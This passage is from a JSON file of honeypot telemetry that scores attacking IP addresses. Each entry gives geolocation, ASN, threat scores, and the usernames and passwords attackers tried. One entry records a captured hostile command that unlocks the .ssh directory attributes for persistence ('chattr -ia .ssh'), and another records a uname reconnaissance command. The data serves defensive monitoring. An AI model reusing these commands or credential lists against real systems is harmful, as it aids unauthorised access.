        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "159.223.225.168": {
      "attack_count": 48,
      "first_seen": "2026-03-04T19:16:42.189Z",
      "last_seen": "2026-03-05T07:30:42.747Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "solv"
      ],
      "passwords_attempted": [
        "123456",
        "solv"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T19:14:48.293000+00:00",
        "last_seen_30d": "2026-03-05T07:31:48.733000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 32
      }
    },
    "94.243.10.229": {
      "attack_count": 44,
      "first_seen": "2026-03-07T06:15:31.191Z",
      "last_seen": "2026-03-07T06:20:19.168Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T06:15:31.191000+00:00",
        "last_seen_30d": "2026-03-07T06:21:22.286000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "101.126.82.218": {
      "attack_count": 35,
      "first_seen": "2026-03-24T01:22:13.386Z",
      "last_seen": "2026-03-24T01:53:53.624Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "dummy",
        "root",
        "student1",
        "xbmc"
      ],
      "passwords_attempted": [
        "123456",
        "dummydummy",
        "sorin123",
        "student1pass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T01:22:13.386000+00:00",
        "last_seen_30d": "2026-03-24T02:04:49.119000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 18
      }
    },
    "182.117.20.107": {
      "attack_count": 30,
      "first_seen": "2026-03-10T04:03:15.995Z",
      "last_seen": "2026-03-10T04:06:30.419Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T04:03:15.995000+00:00",
        "last_seen_30d": "2026-03-10T04:07:37.097000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "115.50.183.223": {
      "attack_count": 28,
      "first_seen": "2026-03-15T08:09:34.815Z",
      "last_seen": "2026-03-15T08:12:43.853Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:09:34.815000+00:00",
        "last_seen_30d": "2026-03-15T08:13:52.261000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "159.223.197.33": {
      "attack_count": 27,
      "first_seen": "2026-03-11T02:19:58.653Z",
      "last_seen": "2026-03-11T11:34:13.916Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "trader",
        "ubuntu"
      ],
      "passwords_attempted": [
        "trader",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:16:22.955000+00:00",
        "last_seen_30d": "2026-03-11T11:35:23.305000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 16
      }
    },
    "188.130.154.238": {
      "attack_count": 25,
      "first_seen": "2026-03-17T19:45:02.546Z",
      "last_seen": "2026-03-17T20:02:09.308Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T19:41:53.908000+00:00",
        "last_seen_30d": "2026-03-17T20:03:10.009000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 14
      }
    },
    "193.105.134.95": {
      "attack_count": 15,
      "first_seen": "2026-03-04T12:56:55.186Z",
      "last_seen": "2026-03-19T10:58:00.858Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "authority",
        "oracle"
      ],
      "passwords_attempted": [
        "authority",
        "or4cl3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:56:55.186000+00:00",
        "last_seen_30d": "2026-03-19T10:59:02.397000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "200.9.155.87": {
      "attack_count": 15,
      "first_seen": "2026-03-07T12:12:48.227Z",
      "last_seen": "2026-03-07T12:13:59.330Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 270353,
      "as_org": "Tyna Host - Datacenter no Brasil",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T12:12:48.227000+00:00",
        "last_seen_30d": "2026-03-17T07:54:23.340000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 11,
        "Honeytrap": 1
      }
    },
    "49.228.97.49": {
      "attack_count": 15,
      "first_seen": "2026-03-23T12:41:39.649Z",
      "last_seen": "2026-03-23T12:43:02.363Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "android",
        "mgeweb",
        "nominatim"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "mgeweb1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:41:39.649000+00:00",
        "last_seen_30d": "2026-03-23T12:44:07.065000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "210.13.100.77": {
      "attack_count": 10,
      "first_seen": "2026-03-14T15:13:55.126Z",
      "last_seen": "2026-03-31T15:27:38.985Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "mm",
        "root"
      ],
      "passwords_attempted": [
        "123456zZ",
        "mm1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 9929,
      "as_org": "CHINA UNICOM Industrial Internet Backbone",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:13:55.126000+00:00",
        "last_seen_30d": "2026-03-31T15:28:42.288000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.140.199.101": {
      "attack_count": 10,
      "first_seen": "2026-03-02T12:06:35.612Z",
      "last_seen": "2026-03-02T12:06:43.559Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:06:35.612000+00:00",
        "last_seen_30d": "2026-03-02T12:07:46.949000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "38.188.160.213": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:56:52.313Z",
      "last_seen": "2026-03-11T00:18:55.826Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "161280",
        "kathy1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:56:52.313000+00:00",
        "last_seen_30d": "2026-03-11T00:19:58.930000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "38.188.160.97": {
      "attack_count": 10,
      "first_seen": "2026-03-11T00:36:51.441Z",
      "last_seen": "2026-03-11T00:40:25.399Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456789azerty",
        "porte"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:36:51.441000+00:00",
        "last_seen_30d": "2026-03-11T00:40:25.399000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 4
      }
    },
    "64.92.6.70": {
      "attack_count": 10,
      "first_seen": "2026-03-09T21:53:16.924Z",
      "last_seen": "2026-03-09T21:53:20.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Katy",
      "asn": 6300,
      "as_org": "Fidium",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:53:16.924000+00:00",
        "last_seen_30d": "2026-03-09T21:54:25.291000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "185.65.134.235": {
      "attack_count": 7,
      "first_seen": "2026-03-18T06:26:48.438Z",
      "last_seen": "2026-03-18T06:31:04.680Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:26:48.438000+00:00",
        "last_seen_30d": "2026-03-18T06:32:06.812000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "159.89.165.127": {
      "attack_count": 6,
      "first_seen": "2026-03-24T22:04:28.007Z",
      "last_seen": "2026-03-24T22:04:28.435Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T21:54:04.940000+00:00",
        "last_seen_30d": "2026-03-24T22:05:36.704000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "175.42.62.216": {
      "attack_count": 6,
      "first_seen": "2026-03-16T00:40:35.790Z",
      "last_seen": "2026-03-16T00:40:47.948Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:40:35.790000+00:00",
        "last_seen_30d": "2026-03-16T00:40:47.948000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 2
      }
    },
    "62.171.143.22": {
      "attack_count": 6,
      "first_seen": "2026-03-24T11:26:20.566Z",
      "last_seen": "2026-03-28T20:44:04.791Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:26:20.566000+00:00",
        "last_seen_30d": "2026-03-28T20:45:06.107000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.220.101.107": {
      "attack_count": 5,
      "first_seen": "2026-03-10T07:48:09.014Z",
      "last_seen": "2026-03-10T07:48:13.531Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "ZabTharwat@2016"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:58:39+00:00",
        "last_seen_30d": "2026-03-10T07:49:19.466000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 5,
        "H0neytr4p": 3
      }
    },
    "64.62.197.137": {
      "attack_count": 5,
      "first_seen": "2026-03-07T06:57:56.733Z",
      "last_seen": "2026-03-07T06:57:56.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T01:23:30+00:00",
        "last_seen_30d": "2026-03-31T02:05:06.280000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 158,
        "Honeytrap": 76,
        "Redishoneypot": 11,
        "H0neytr4p": 8,
        "Cowrie": 5,
        "Dionaea": 2,
        "Tanner": 2,
        "ConPot": 1,
        "Ipphoney": 1
      }
    },
    "103.42.74.124": {
      "attack_count": 4,
      "first_seen": "2026-03-12T15:26:36.835Z",
      "last_seen": "2026-03-12T15:26:37.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 147185,
      "as_org": "INFYNIX DATA SERVICES PRIVATE LIMITED",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T15:26:36.835000+00:00",
        "last_seen_30d": "2026-03-12T15:27:38.937000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.45.44.108": {
      "attack_count": 4,
      "first_seen": "2026-03-06T13:42:39.207Z",
      "last_seen": "2026-03-06T21:38:48.489Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 202799,
      "as_org": "Sysect D.o.o.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T13:42:39.207000+00:00",
        "last_seen_30d": "2026-03-06T21:48:53.611000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "170.64.174.210": {
      "attack_count": 4,
      "first_seen": "2026-03-15T20:35:00.170Z",
      "last_seen": "2026-03-16T04:42:04.680Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:35:00.170000+00:00",
        "last_seen_30d": "2026-03-16T04:43:14.623000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "182.127.4.134": {
      "attack_count": 4,
      "first_seen": "2026-03-08T12:32:16.148Z",
      "last_seen": "2026-03-08T12:32:41.652Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:32:16.148000+00:00",
        "last_seen_30d": "2026-03-08T12:33:45.508000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "195.184.76.18": {
      "attack_count": 4,
      "first_seen": "2026-03-17T21:12:12.297Z",
      "last_seen": "2026-03-17T21:12:12.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
